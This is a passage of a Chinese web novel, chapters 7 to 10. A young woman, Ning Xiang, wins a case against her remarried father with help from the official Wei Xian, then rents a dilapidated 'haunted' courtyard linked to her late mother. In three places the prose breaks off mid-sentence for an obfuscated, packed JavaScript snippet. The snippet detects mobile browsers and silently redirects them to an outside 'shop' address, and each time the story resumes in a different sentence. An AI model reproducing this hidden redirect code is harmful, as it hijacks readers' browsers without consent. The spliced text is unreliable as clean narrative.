从普阳到京城的一路上,宁襄主仆一直都安分安静得很,即使李茂等人克扣苛待,他俩也从未多言,加之出发之前陶氏有别的吩咐……李茂等人一开始做得不明显,后来见她俩不理会,便渐渐有些明显,李茂等人也一直觉得这对主仆人善可欺,可是方才宁襄随口吩咐一句,却仿佛变了一个人一般,李茂竟然生不出拒绝之意,不等宁海发话,便带着人往府内搬出一张长桌来。 宁襄指了指地方,等他们放好桌子,上前一步,将卷轴摊开。 卷轴很长,宁襄只摊开了三分之一,不过这三分之一也够了,宁襄特意选的进人群的地方,让围观的人能看到她特意让别人看到的画面。 “这是沈家的绣技,”有人开了口:“沈家的针法与别家不一样,我曾有幸见过沈家一小幅绣品,沈家的技艺与别家不一样,别人轻易模仿不来,这绣品应该的确是沈家所出。” 卫显听到这样的话,抬了抬眼:“确认了?” “确认了,”宁襄点头:“这的确是先母的遗作。” “好,既然东西拿到了,”卫显朝余秋扬了扬下巴,“余大人你继续审理吧。” “宁……宁襄是吧?”余秋应了,重重咳了一声,“你状告宁司业停妻再娶一事……” 他又看向卫显,卫显斜了他一眼:“余大人看我做甚,有人证有物证,秉公办理便是。” “是是,”余秋语气连连应道,“宁襄,观你先前言行,对本朝律例是十分清楚啊。” 宁襄点头,余秋继续道:“既然清楚,那做好准备了吗?” 宁襄仍旧点头,姚嬷嬷上前挡在宁襄身前:“不行,我家姑娘不能受刑。” “我家姑娘年纪小,怎么受得住这二十鞭呢?”姚嬷嬷将宁襄护在身后,“要打就打我吧,我替我家姑娘受这二十鞭!” 宁襄将姚嬷嬷拉到身后,对余秋摇头:“余大人,一人做事一人当,状是我要告的,所有惩罚自然应该由我受着……” “余大人来得匆忙,未曾带着京兆府的衙役,”卫显看着宁襄:“不若我将镇抚司的缇骑借给余大人如何?” “这……”余秋迟疑着,若是京兆府的衙役出手,二十鞭虽然重,但未必不能留得宁襄一命,若是镇抚司的缇骑出手……宁襄不死也去了半条命,他虽然胆小怕事,但到底还是有些心慈手软,并不想看到一个小姑娘遭遇这样的毒手,连忙道,“哪里能劳动卫大人的缇骑呢……还是等等……或者是将人带回府衙吧?” “余大人说错了,镇抚司的缇骑不是我的,是陛下的,”卫显随口反驳余秋话里的漏洞,面上却并无惶恐,“替余大人办事,也是为了京中的安宁,说到底,都是为陛下做事。” “宁……”卫显朝着宁襄微微一挑下巴,本想叫她名字,那个字到了嘴边又咽下去了,“宁姑娘。” “这刑罚迟早都是要受的,”他低头,“你是愿意现在受还是等京兆府的衙役?” “不了,就现在吧,”宁襄将绣品重新卷起来,让姚嬷嬷收好,“夜长梦多,长痛不如短痛,就现在吧。” “早日受刑,余大人也好开始审理宁海的案子,”宁襄站到余秋跟前,“余大人,开始吧。” 余秋叹了口气,卫显朝一名缇骑点了点头,那人拿了根马鞭走向宁襄,宁襄看到那人的手扬起,周围人不敢看,有些人吓得闭上了眼睛,宁襄也闭上了眼睛—— “住手——” 那鞭子落下之前,卫显突然轻飘飘地出声阻止。 那名缇骑手中的鞭子仍旧落下,不过没有落在宁襄身上,而是落在了地上,发出巨大的声响。 地上的青砖受了这一鞭,留下一道明显的痕迹,让人可以想象若是这鞭落在宁襄身上——肯定能将宁襄打得皮开肉绽。 不止宁襄,就连旁观的人都有种劫后余生之感。 宁襄虽然做好了准备,然而想起方才那一刻,还是有些心有余悸。 到底还是高估了自己的承受能力。 宁襄深吸一口气:“余大人?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484429|201923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余秋小心翼翼看向卫显:“卫大人?” “我刚刚想起,今日实在是不宜见血,”卫显摆手,“这二十鞭,就先欠着吧。” 余秋继续征询他的意见:“那宁司业的事……也等之后再审理?” “不必。” “不必!” 卫显跟宁襄同时开口,不过语气不同,卫显语气平淡,宁襄语气却有些着急—— “人证物证俱在,还等什么呢,”卫显神色如常,“这般品行败坏之人,怎么能为陛下尽忠……按律例判处吧。” 余秋看了宁襄一眼又看了看卫显,应了,却有些为难—— “余大人今日仓促出门,身边没带人,”卫显适时开口,“我身边的缇骑借余大人吧。” “如此……多谢卫大人,”余秋面上悲悯,看了看宁海,叹了口气,“有劳卫大人了。” “不必如此,”卫显摇头,轻轻一笑,“都是为陛下做事而已。” 他说完话,朝身边的人点了点头,几个缇骑便上前抓住宁海,宁海来不及喊冤,便被捂住了口鼻发不出声来,镇抚司这些人干这些事,倒是驾轻就熟干脆利落得很。 宁海被带离,卫显重新看向宁襄,他的目光如同刀,仿佛要将宁襄灵魂都搜刮一遍看出她底细,宁襄低着头,并不看他。 卫显看了她半晌,又看向宁襄身后的姚嬷嬷:“那幅卷轴便是要进献给陛下的?” 宁襄点头:“是的。” 卫显便问:“可曾想过如何献给陛下?” 宁襄摇头:“未曾。”如今她也并没有什么途径可以接触到陛下。 “既然是献给陛下的,”卫显随口道:“不如我替你拿给陛下吧。” 他说着让人走向姚嬷嬷,宁襄摇头:“这东西还不能给陛下。” “为何?”卫显盯着宁襄,“宁姑娘不会是扯虎皮做大旗狐假虎威拿陛下做由头好让余大人审案有所顾忌偏向你吧?” “卫大人多虑了,”宁襄摇头,“这东西迟早都是要献给陛下的,只不过不是现在。” “这卷轴不是成品,”宁襄神色平静,“当初先母阖然长逝,东西还未完成便过世了……所以这卷轴……还需要有人将它完成。” “是谁,”卫显就这么看着宁襄,眼神锐利,“沈家一脉人都死绝了,还有谁能做这事?” “自然有人能完成,”宁襄不直接回答,沉声道,“待得绣品完成后,只怕还得劳烦卫大人帮忙进献给陛下。” 卫显只是盯着宁襄,不再开口。 “宁姑娘离京十二载,当初离京也不过是幼童,小孩子不记事,”卫显起身,“宁姑娘离京时,那幅绣品应该还在宁家……就算是宁姑娘身边的下人,应该也不会知道这绣品最后送到了陶家。” “宁姑娘一回京,便知道令堂遗作在陶家……”卫显凤眼轻轻眯起,“看起来,宁姑娘并非什么简单之人吧。” “那本官便等着沈家的这一大作了,”卫显起身,不再多看宁襄一眼,也不看其他人,“宁姑娘,我等着你。” “宁姑娘——”他顿了顿,“你可千万别让本官失望啊。” “本官已经迫不及待想要看这一幅大作了,”卫显终于转身,径自带着人离开:“希望宁姑娘不要令本官等太久。” 宁襄看着卫显离开,低头沉思着。 姚嬷嬷走过来:“姑娘?” 宁襄回过神来:“姚嬷嬷。” 姚嬷嬷抱着卷轴:“怎么了姑娘?” “姚嬷嬷,假如你想做一件事,不得做自己不愿做的事成为自己不想成为的人——”宁襄声音嘟囔着,几不可闻,“那该怎么办?” 姚嬷嬷果然没有听清:“姑娘在说什么?” 宁襄摇摇头,她本也没想从姚嬷嬷这里得到回答,看了看姚嬷嬷手中的卷轴:“我们走吧。” 8. 008 抵押 宁海被卫显押着跟余秋走了,虽然余秋在卫显的混淆下算是定了宁海的罪——事情肯定不会这般轻易就结束,后续肯定也还需要继续审理。 但无论如何,宁家这门,宁襄是彻底回不去了。 今日之事牵扯了太多的人——卫显,顾闲,陶卓,陛下……这事情很快闹开,即使是在长公主薨逝这日——尤其是在长公主薨逝这日。 宁襄已经没有回头路了,就算她愿意低头,宁海已经被她“祸害”,宁家后院的人——陶氏和她的一双儿女,本就不愿意宁襄回来,所以一路上让李茂刻意刁难,或许也是有让宁襄知难而退的意思,可是宁襄还是来到了京城,先前顾忌着长公主,陶氏没敢让人做得太过,如今长公主已死,而宁襄又当街状告宁海还送了宁海一场牢狱之灾——想来陶氏绝对不会再让宁襄进府,就算让宁襄进府,只怕也不会善待她。 不过好在,宁襄从一开始就没想过要进宁家的大门。 她原本的打算是等在京城安定下来之后再去京兆府状告宁海为当年的沈氏申冤——纵然沈氏的死因无法证实是宁海或者陶氏所为,但停妻再娶却的的确确是事实,沈慧付出了那么多——替宁海赡养父母、供养他考取功名,熬坏了身子,却在宁海终于功成名之后,遭遇下堂,带着襁褓之中的孩子进京寻夫,想要讨回一个公道,最后却身死后宅,而她的孩子没能得到善待差点追随她而去,她自己的一切包括最后的遗物,都留给了宁家。 她的一生短暂,如烟火刹那,最后什么都没有得到,而她的丈夫——前夫,靠着她替她赡养父母,靠着她日夜绣出的绣品供养,得到了他想要的一切——功名、利禄、娇妻……他什么都没有失去,沈慧死了,他还活着……吸着沈慧的血靠着沈慧的奉献得到了一切,他觉得一切都理所当然,这些年里,哪怕是一瞬……恐怕也没有对沈慧生出过愧疚,也未曾想过要善待沈慧留下来的孩子。 宁海是既得利益者,他可以装作什么事都没有发生,但是宁襄不可以,她是沈慧的孩子,沈慧曾经来过这个世上——沈家以绣工见长,传到沈慧这一代虽然是凋零了,但沈慧还是有家学渊源,早年间为了供养宁家阖家,贱卖出去的的那些绣品在她死后被人看重价值不菲——可是却没有人知道,沈慧究竟是谁,没有人知道沈慧曾经是国子监司业宁海的发妻,没有人知道她就那样默默无闻死在了宁海的后宅。 今日之后,沈慧的生平也算是公开了,她曾活过,她留下了姓名,总会有人记得她是谁,哪怕是再多一个呢。 沈慧的死因太久远早已经无从查询,宁襄也不觉得她能够查清当年的真相——若是可以,足足十二年的光阴,能查到早就查到了不会等到现在不会轮到宁襄。 她来到京城、她愿意跟着宁家派去的人一路来到京城,她的确不怀好意,她想要将沈慧的生平说给众人听,就算她不能查清当年的真相,也要把自己的怀疑说出来……有疑惑,自然便有争议,宁家想要将沈慧的事随着沈慧的死沉埋入土,她偏要将它翻出来,晒给众人看。 只是今日的确是意外。 她原本的计划里,没有卫显的插手。 虽然结果暂时对她有利,但是宁襄并不安心——她倒是宁可亲自承受那二十鞭,也不愿意因为卫显的“网开一面”,将整件事弄得似乎有些没头没尾。 宁襄摇摇头,既来之则安之,事已至此,多想也无益,走一步算一步吧。 先前宁襄不进宁家的门,姚嬷嬷二话不说便跟着她走,如今事情得以解决,姚嬷嬷不免开始担心—— “姑娘,我们如今该去哪里?”姚嬷嬷站在人来人往的大道上,面上有些彷徨,“我们重新回普阳县吗?” 宁襄摇头:“我不会再回去了。”从她离开普阳县的那一刻,就注定了她不会再回那个远在千里之外的小县城,如今她也回不去了。 “那得先找一个落脚的地方,”姚嬷嬷看了看身后宁家的宅邸,倒也不留恋只是有些为难,“我们身上的银钱……怕是撑不了多久。”这些年,宁家送到普阳县的份例仅够勉强维持生活,这还得靠姚嬷嬷省吃俭用才存下一些银钱,姚嬷嬷不是京城人氏,但想也知道,京城寸土寸金,居大不易,想要住下来……她们身上的银钱在普阳县那样的小地方尚且过得艰难,在京城只怕更是难以过活。 宁襄迟疑了一瞬:“我们还有多少银钱?” 姚嬷嬷面上发苦:“银子只有三两,铜钱零零散散的一些没数过,但不会很多。”这还是因为一路上有李茂等人在,不需要她们花钱……姚嬷嬷也舍不得花钱才好不容易留下来的。 李茂等人对宁襄主仆不满,大抵也有她俩穷酸的原因——宁襄还是主子呢,全部身家算起来,估计还没有跟着李茂的一个小厮多,估计京中陶氏所生的宁家二小姐随手打赏下人的钱,都比宁襄这个长女身上的银钱多——而宁襄是不可能打赏这几个对她们主仆一直都没有什么好脸色的人的。 姚嬷嬷面色发苦:“这些钱也不知道能做什么——我先前听李管事说,如今京中物价飞涨,一颗鸡蛋都要卖一两银子……也不知道是不是金鸡下的金蛋这般珍贵……”而她们身上全部身家都不够买四个蛋。 “怪不得人说一文钱难倒英雄汉,”姚嬷嬷心中越数越是惶惶,“要不姑娘我们还是回普阳去吧,这京城实在不是人待的地方。” “是啊,这京城实在不是人待的地方,”宁襄幽幽一叹,视线望向远处的高塔——那是宫城的所在,她望着高高的塔尖,“多少人想来京城……多少人想离京城……” 京城是权势和财富的中心,多少士子每三年前仆后继往这里蜂拥而来,想着一举成名想着加官进爵,又多少人想要寻得机会大展鸿图……人人都想来京城,可又不是人人都能来到京城……却偏偏也有些人,一心想要离开京城而不得。 “嬷嬷先不要多想,想来不会每一个鸡蛋都那般贵的,”宁襄安抚她道,“我们先去问问看有没有便宜的住处吧。” 姚嬷嬷便点头:“那姑娘我们快点离开这里吧。”这是个是非之地,还是等宁府里边的人还没有回过神来之前赶紧离开才是大事……若是等卫显积威消失陶氏回过神来出来看到宁襄……可想而知不会是什么好事。 姚嬷嬷身上本就背了两个包袱,带着她们的衣物和不多的银钱,如今又抱了一幅卷轴——那卷轴本就快有姚嬷嬷人高了,又重,她这样一抱着整个人便有些佝偻,宁襄上前一步:“嬷嬷,我来吧。” “不行,这东西重,姑娘你拿不动的,”姚嬷嬷拒绝道,“我能拿的。” 宁襄看着她被压弯的身子,摇了摇头,从姚嬷嬷怀中接过卷轴——的确是有些重。 说起来,这些年沈慧的绣品已经是有价无市……在今日之前,沈慧的绣品早已经不再流入市面上,许多人想买却不得,而原本就有的又不会卖出——而今日之后,得知沈慧已经过世的消息……沈慧生前那些绣品,只怕更是难得。 宁襄手中这一幅,是沈慧绣过的最大的一幅,算起来来也是价值连城——换了别人只怕不会轻易让出,但是陶卓却在卫显的缇骑过去之后,二话不说便将东西交出来……想来多多少少还是因为卫显的缘故。 卫显本来就是个疯子,就算是平日,也不会有人想要跟他针锋相对——顾闲除外——如今长公主薨了,任何人都不会想在今日触犯他——卫显说陶卓胆小,其实也没说错,但同时也说明,陶卓很聪明,识时务,知道不该在这时候给卫显机会借题发挥。 姚嬷嬷拗不过宁襄,只好将宁襄原本背着的包袱抢回来,看了看宁襄怀中的东西:“姑娘,这卷轴是夫人遗物……可一定要收好了。” 这卷轴是沈慧的遗物即使是缺钱,姚嬷嬷也未曾想过要将此物卖掉换取银钱——即使她刚才也能听出来沈慧的绣品如今十分珍贵——宁襄心中一暖,不过还是摇头:“这东西我留不住,迟早还是要献出去的。”是“献”不是“卖”,其实就算她想卖,也不可能卖得出去……方才她早就将此物挂在陛下名下了,就算她敢卖,也无人敢买。 唯一的好处大概是就算陶家也不敢从她手中将东西重新拿回去——这也不是陶家的东西。 “宁姑娘——” 她俩走了一会,突然听到身后有人在叫宁襄,宁襄回过头,见是顾闲——倒没想到他一直还在,先前人太多,纷纷杂杂的,说来也奇怪,他本来不是那般容易便被人忽略掉的人,但是先前后来的确没有人再注意到他了。 宁襄抛开那些疑惑:“世子有何事?” 顾闲近前来:“宁姑娘之后有何打算?” “还不知道,”宁襄老实回答,“先找一个落脚的地方吧。” “我帮你们吧。”顾闲顿了顿:“顾家在京中还有几处小院子,不如送与你——” “不必,”宁襄拒绝道:“无功不受禄。” 她迟疑了一瞬,看着顾闲:“非亲非故,世子为什么要帮我们?” “你与她有些渊源……”他的声音低低地,几不可闻,后半句倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484430|201923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是正常的声调,“我就是想行好事而已。” “逝者已矣,世子节哀,”但是宁襄还是听到了他的前半句话,她看着顾闲叹了口气,“但我们不能心安理得接受世子的好意。” 她顿了顿:“这世间还有亲人挂念她……想来也是一件值得宽慰的的事。” “亲人?”顾闲苦笑,“是啊,亲人。” “世子节哀,”宁襄只能这般干巴巴地安慰着,“长公主想来也不愿意见世子如此。” “对了,”宁襄看着他,“我先前听到旁人说的那些话……” 她长叹一声:“世子以后还是不要再跟那人起冲突了。” “想来她不会愿意见到这样的事发生的,”宁襄低头,“就算不是为自己,哪怕是为了成国公……世子也不应该再与那人作对。” 顾闲没有接话,只是定定地看着宁襄。 宁襄眼皮一跳:“世子?” “无事,”顾闲摇了摇头,“多谢宁姑娘提醒。”却没按着宁襄的话应下。 宁襄便只能叹气。 但是她也知道言多必失,她不该再跟顾闲说话,想了想便敛了神色:“如此,我们便跟世子告辞吧。” “京中居,大不易,”顾闲复又开口,“虽然说不至于一两银子一颗鸡蛋,但物价的确不低。” “我方才听到你们的对话了,”顾闲摇头,“那点银钱,真的干不了什么。” “你们若是找客栈住下,即使最简陋的客栈,也不够你们住上几日的,再说了,那样的地方也不安全,”顾闲继续道,“若是想要个院子住下,你们身上的银钱是不够的……况且还要给中人钱还要买些必需的物品……想来是有些为难的。” “多谢世子提点,”宁襄点头:“不过我们要求不高,地方能落脚便行——用不了一个院子那般奢侈。” 她顿了顿,倒是有些好奇:“不过世子这样的身份,居然连这种市井鸡毛蒜皮的事都清楚,倒是难得。” 顾闲扯了扯嘴角,面上带了丝苦笑,没多说什么。 “如此……”宁襄看着他,“我们便告辞了?” “宁姑娘,”顾闲叫住她,“让我帮你们吧。” 其实他也不知道自己为何这般固执,心底仿佛有个声音在鞭策着他,驱赶着让他一定要留住眼前的人。 大概是他太想留住跟她有关系的人吧……顾闲面上依旧带着苦涩的笑意:“请你一定让我帮帮你。” “我们跟长公主其实并不熟悉,”宁襄看着他,“如你之前听到的那般……我们与长公主的交集只在十二年前……之后再也没有了。”若是想在她们身上找到跟长公主有关的记忆,只怕是有些难。 “我知道,”少年的面上带了一分委屈,“但是——” 他知道,但是他还是想做,他想要帮任何可能跟长公主有关系的人,哪怕那些关系只是微末。 宁襄长长一叹:“长公主有你这样的兄弟……倒是她的福气了。” 说到“兄弟”时她顿了一下,说到“福气”时她面上也不自觉带了冷笑——再大的福气……长公主也已经死了。 “让我帮你们吧,”顾闲坚持道,“我不是为了你们或者是谁……我是为了求得自己心安。” 他说着话,重重咳了一声,他偏过身子,手中帕子掩住口鼻,宁襄看到白色的帕子上多了一抹红,顾闲咳完了血,看着比先前更是虚弱了几分,却还是执意站在她们面前,似乎宁襄不答应,他便不走。 宁襄叹了口气。 “这样吧,”宁襄妥协道,“我们要去寻住处,带着这东西不方便……能否请世子代为看管几日,等我们找到了落脚的地方,再找世子要回?”她向他示意了一下子怀中的卷轴,东西太重,抱了这一会,已经有些累了,她又不愿将东西直接放在地上。 顾闲终于点头,让跟着他的人从宁襄手中接过了卷轴,又拿出一个锦囊:“这里有些银两……算是借给姑娘的吧,姑娘有银钱的时候再还回来便是。” 他顿了顿:“也算是一种抵押吧,否则姑娘将这般重要之物交给我——只怕也不放心,万一我要是昧下了姑娘的东西,姑娘岂不是财物两失?” “世子不是那般的人,”宁襄摇了摇头,并不担心他说的事情,不过迟疑了一瞬,考虑了一下她如今的处境,还是接过了锦囊:“如此,便多谢世子了。” “世子放心,我很快便会将绣品赎回来的,”她看着顾闲,“世子的银钱我也一定会还的。” 9. 009 凶宅 宁襄重新从姚嬷嬷手中接过包袱,不再出声,姚嬷嬷亦步亦趋跟在宁襄身后——今日之前,姚嬷嬷还只当宁襄是小孩处处需要她照顾看持——可不还只是小孩吗——但经过今日这一遭,姚嬷嬷对宁襄的话已经没有任何异意,宁襄说什么便是什么。 找住处果然不是那般容易的事。 宁襄倒似早有主意,带着姚嬷嬷往城门的方向走去。 姚嬷嬷原本以为宁襄要出城,然而她在距离城门还有一段距离时,拐进了一条小巷。 在一扇看着有些荒废了的门外站了一会,宁襄让姚嬷嬷跟左右的邻居打听了一下这屋子的中人是谁、人在何处——好在这中人便是住在附近的,邻居热情,带着她俩过去。 中人是一个看着和善且富态的中年女子,姓张,人称张四娘,听闻她俩要租赁下柳叶巷的废弃小院,抬眼仔细打量了一番这一老一幼,有些迟疑:“不是我不想做这生意,只是那宅子半个月前有贵人打听过说要买下来……让我帮忙留着……” “半个月前……”宁襄低头,“但如今这屋子不是还没有卖出去吗?” 她叹了口气:“若是那人有心要买,不会只是问一声……之后肯定要回来的……既然她没有回来完成交易,自然是放弃了这个念头。” 姚嬷嬷忧心今夜无处落脚,也跟着附和道:“是啊,那屋子奴婢从外边看都是又破又小,中人既然说那是贵人……肯定是看不上那屋子,一直没有回来,只怕是早已经定下了别处——不如就将此处先舍了租赁给我们,也算是个收益……不是我说,那屋子那般破败,中人若是故意攥在手中想着抬高价钱……只怕是会赔。” “天地良心,我可不是故意将这事说出来好抬价……事实上我早想将那屋子出手,”张四娘也有些为难,“实在是、的确是那贵人让我务必将那处留下——” 她说着看了看宁襄和姚嬷嬷:“说来奇怪……那屋子你们也看到了,又小又破……我之前空着也有很多年了……怎么最近突然一个二个都来问了?” 姚嬷嬷多嘴问了一句:“那屋子怎么就空置那么多年?” 张四娘支吾了一声,没说出来。 “因为那屋子是凶宅,”宁襄倒也不避讳,“里边死过人的。” 姚嬷嬷顿时吓得退后一步:“这——” 她看了看宁襄:“姑娘——我们——” “无妨的,”宁襄轻轻摇头,“我不怕。” “既然姑娘都不怕,那奴婢也不怕,”姚嬷嬷生出许多勇气,转向张四娘,“那屋子里死过人的,晦气得很——这价钱……是不是还能再商量商量?”跟着宁襄在普阳县这些年,姚嬷嬷最不缺的,就是精打细算,立刻便从宁襄一句话里找到了可以讨价还价的地方。 张四娘还是有些为难:“真不是我想要漫天要价,我毕竟是答应了那贵人的……万一我前脚将屋子租赁给了你们……后脚贵人就过来了……那我岂不是里外不是人……怎么跟贵人交代……又怎么对得起你们已经花了银钱的人?” “张中人倒是与其他中人不一样,”姚嬷嬷感叹了一声,不过并没有因此而放弃,“张中人说那个贵人要买,可有什么凭证?是不是交了定金?” 张中人倒没有说谎:“没有,贵人看着神色匆忙,只说了一声便走了——” “那不是结了,”姚嬷嬷立刻道,“又没有凭证也没有给张中人你定金,这么多天过去了也没有再回来……这生意肯定是黄了。” “贵人看着不是那种人……”张四娘喃喃道,“万一……” “没有万一,”宁襄开口,“那人不会再回来了。” “对,”姚嬷嬷附和道,“真要有心,第二日便会回来了,哪会拖到现在——” “可不能这么说,”张四娘还是有些坚持,“万一是有什么耽搁了呢——” 宁襄只是摇头:“她不会再回来了。” 她说话的语气带着笃定,即使毫无根据,听起来却像是在陈述一个事实,张四娘咬了咬牙:“好——” 姚嬷嬷听她松了口,立刻上前跟她顺那屋子到底是如何的破败不堪,又提起里边死过人的话题——当然是为了压价。 她俩身上的银钱真的是不够,即使有顾闲给她们的钱——倒那毕竟是借的,之后还得还回去,能少花一文是一文。 这事情姚嬷嬷擅长,宁襄便不插手,呆坐在一旁,抬头望了望头顶的天空。 “那屋子又破又烂,我们要将它打扫出来,还要添置一堆东西,这可都是不小的花费,”姚嬷嬷那边谈判已经接近了尾声,“再少一点吧——我们住进去,也是替你解决了一个大老难问题不是?” 在京城,那样大小的院落只是租赁的话,一年最少也要二十两,当然,若是修缮保存得宜,价格至少还得翻番,姚嬷嬷各种挑毛病还不时拿凶宅说事,中人才愿意压到一半的价格,最后又说了半天,答应以每年六两的价钱将那个住处租赁给了她们。 姚嬷嬷功成身退——虽然六两她们的身家也不够,但总算是有安身之处了。 宁襄见姚嬷嬷将赁金砍了七成,倒是有些出乎意料,不过也没有多说什么,跟张四娘签了两年的契约。 两年……应该足以让她将想在京城做的事做完吧。 在姚嬷嬷肉疼的眼神里从顾闲给的锦囊中拿出一碇十两得银子,又让姚嬷嬷拿出她们自己的碎银交了两年的赁金又给了张四娘的中人费用,那一个破败的小院,暂时便属于她们了。 拿到了大门的钥匙,宁襄跟姚嬷嬷谢绝了张四娘带路的好心,两人又回到了那屋子前。 拿钥匙开了门,饶是心中要有准备,看到院内得荒草,姚嬷嬷还是觉得有些可怖。 虽然执意要赁下这屋子的原因是因为便宜,但如今真进去了,姚嬷嬷还是有些发怵的。 “姑娘……”她小心翼翼跟在宁襄身后:“你说这屋里……该不会……有什么不干净的东西吧?” 宁襄笑着摇了摇头:“嬷嬷不要多想。” 她顿了顿:“这世间……大概也没有鬼的。” “这可说不准,”姚嬷嬷还是不安,“再说了……就算没有鬼……不是说死了人吗……不会有什么尸骸之类的吧?” “不会,”宁襄仍是摇头,“放心吧,余大人肯定将那些都带走了。” “那就好,”嘴上这么说着,姚嬷嬷还是捂着心口,“姑娘你先别动,奴婢四处看一看。” 她踮着脚在院子走了一圈,小心避开地上的杂物,看了看屋子,回来很宁襄道:“好在屋顶还是完好的,要不修葺屋顶只怕又得花费跟之前一样的钱。” 宁襄看了看脚下,又看了看四周——顿觉得无从下手。 好在先前请张四娘帮忙找的短工也过来了。 来的似乎是一家子,两男一女,年纪大概在四十上下,两男的看起来像是兄弟,女的是两男的中年长一些那一位的妻子。 请他们帮忙,又花了二两多——主要是事多且急加之凶宅名声在外,所以是比寻常贵了些,虽然如今是债多了不愁,但姚嬷嬷原本不想这钱请人,在她想来,她一个人慢慢弄,总能收拾出来的,但是宁襄想着如今已经是下午,若是慢慢来,今日只怕还是无处可睡, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484431|201923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以还是答应了张四娘的提议,也是请张四娘帮忙找的人。 跟姚嬷嬷说就算自己清理也没有工具要买,那也是一笔话费,姚嬷嬷这才没有说话。 张四娘看着厚道,请来的人也是忠厚老实,进来问了宁襄和姚嬷嬷的要求,便开始干活。 要将地上的杂草清理干净,屋内破烂的东西清理扔掉,洒扫擦洗——三个人加上姚嬷嬷和宁襄,忙活了一下午,买了一些必需物品,添置了一些被褥家具,总算是勉强可以住人了。 这一天下来,便也花了小二十两——二十两在许多人看来不算什么,可若是换了庄户人家,一年到头只怕也赚不到这二十两,但宁家二小姐随便买个首饰都不止二十两,可是宁家给宁襄的年例银子,也不过才三十两。 三十两已经算是比庄户人家两年的花用还多了一半——这样一比,宁家似乎是大方慈爱得很,但除了银子之外,宁家并没有给宁襄其他东西,一切需要的得她们自己买,她们两个守着一座大宅子,要修缮维护要采买,庄户人家至少还有田地——宁家也有,宁海中了进士之后,也在祖籍添了祭田,但是祭田的收益一半给了宗族,另一半里拨出三十两给宁襄跟姚嬷嬷,余下的,宁襄也无权过问。 对于一天便花了过去半年多嚼用这事,姚嬷嬷又开始担心起以后的生计了。 宁襄已经跟宁家闹翻,只怕那每年的三十两也不会再有。 她们迟早坐吃山空,还欠着外债。 沈慧的绣品……只怕是赎不回来了。 “嬷嬷别担心,”宁襄倒是不担心,“车到山前必有路。” 姚嬷嬷一点都不乐观,但是不想让宁襄担心,只好笑了笑。 小院已经整理好,姚嬷嬷重新巡视了一番如今她们的地盘——比起普阳县的宅子,如今的居处实在是太小了些,能住人的只有两间屋子,也幸好她们东西不多。 即使添了些物什,屋子也还是空旷得很,姚嬷嬷本来想让宁襄住那间大一些的屋子的,但是宁襄摇了摇头,让人把东西都安置在隔壁的小屋。 姚嬷嬷可能是才想起这宅子原本是座凶宅,此时天又已经黑了,看了一旁的大屋一眼,亦步亦趋跟着宁襄。 今日事情太急,一切只能从简,两人粗粗洗漱,换了干净的衣物,躺到今日新买的床上。 银钱不多,姚嬷嬷只让买了一张粗制简陋的床,姚嬷嬷本来想自己在地上睡,然而她们也没有多余的褥子,所以两人便睡在一处。 姚嬷嬷只当是宁襄害怕,搂着宁襄,用宁襄白天说的话看似是在安慰宁襄其实是在给自己鼓气:“姑娘……你别害怕……这世界上没有鬼的。” 宁襄今日太累了,似乎睡过去了,回应姚嬷嬷的,只是外边呜咽的风声。 夜风不只是灌进什么地方,发出“呜——呜——”的声响,像是有人在夜里哭泣长嚎,久久不曾停歇。 院子太小,屋子距离当着巷子的正门并不远,暗夜之中,姚嬷嬷似乎听到有人想要推门的声音——好在,门从里边闩住了,门并没有被打开。 但是这也并没有让姚嬷嬷安下心来。 她睁着眼睛,想到这院落里不知道什么时候、不知道哪里曾经死过人,想着白日里张四娘说有人之前相中了这房子,喃喃道:“不会是张中人口中说的贵人回来了吧?” 她忧心忡忡:“贵人不会叫人把我们赶出去吧。” “放心吧,”宁襄终于开口,安抚道,“我们付了赁金签了契约,就算别人来了,我们也是占理的一方。” “更何况——”宁襄顿了顿,“她不会再回来了。” 10. 010 寻宝 姚嬷嬷一夜没睡好,第二日还是早起了。 她现在院中,神色迷茫,看到宁襄出来,才道,“奇怪,我怎么觉得这院子有点熟悉。” 宁襄没有说话,姚嬷嬷自己又沉思了一会,突然想到了什么—— “这是当年夫人进京是住过几日的屋子!” 昨日荒草萋萋,等收拾出来已经是天色黄昏,事情又过去了这么多年,姚嬷嬷一时没有想起来,如今天光正好,经过收拾整理的小院露出原本的面貌,姚嬷嬷摸了摸原本已经歪倒、昨日被重新扶起立好的石桌石凳,石桌石凳已经被重新擦洗过一遍,姚嬷嬷在石凳上坐下,神色恍惚,“奴婢还记得,当年的屋主……应该是姓侯的一对老夫妻,是一对十分好心的人……若不是遇着他们……夫人根本撑不到找到宁家的时候……” 她幽幽一叹:“他们怎么便没了呢?” 